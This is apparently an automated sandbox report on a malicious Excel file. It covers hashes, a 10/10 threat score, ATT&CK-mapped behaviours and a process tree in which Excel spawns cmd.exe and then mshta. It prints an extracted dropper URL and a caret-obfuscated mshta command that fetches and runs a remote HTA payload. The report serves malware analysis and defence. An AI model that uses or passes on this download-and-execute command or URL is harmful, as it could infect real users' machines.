8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1

General

Target

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls
Size

70KB
MD5

54a404bdf97dec3861e86661501de08f
SHA1

d265c805ce856e563e54b014495ac663c9181d3c
SHA256

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1
SHA512

09a4bcb74c1018711277aea44df07a25b751903bf97b27ecb16e30acfb9563219ec1c0f3d654095e8f8bc14224dcbd5247b8520bdb13fdb2ee7740049a647bc8

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3532	444	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

40 916 mshta.exe

flow	pid	process
40	916	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

444 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 444 wrote to memory of 3532	444	EXCEL.EXE	cmd.exe
PID 444 wrote to memory of 3532	444	EXCEL.EXE	cmd.exe
PID 3532 wrote to memory of 916	3532	cmd.exe	mshta.exe
PID 3532 wrote to memory of 916	3532	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:444

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
PID:916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/444-115-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-116-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-117-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-118-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-121-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-128-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

Filesize
64KB

Download
memory/444-129-0x00007FFCAD840000-0x00007FFCAD850000-memory.dmp

Filesize
64KB

Download
memory/444-301-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-302-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-303-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download
memory/444-304-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads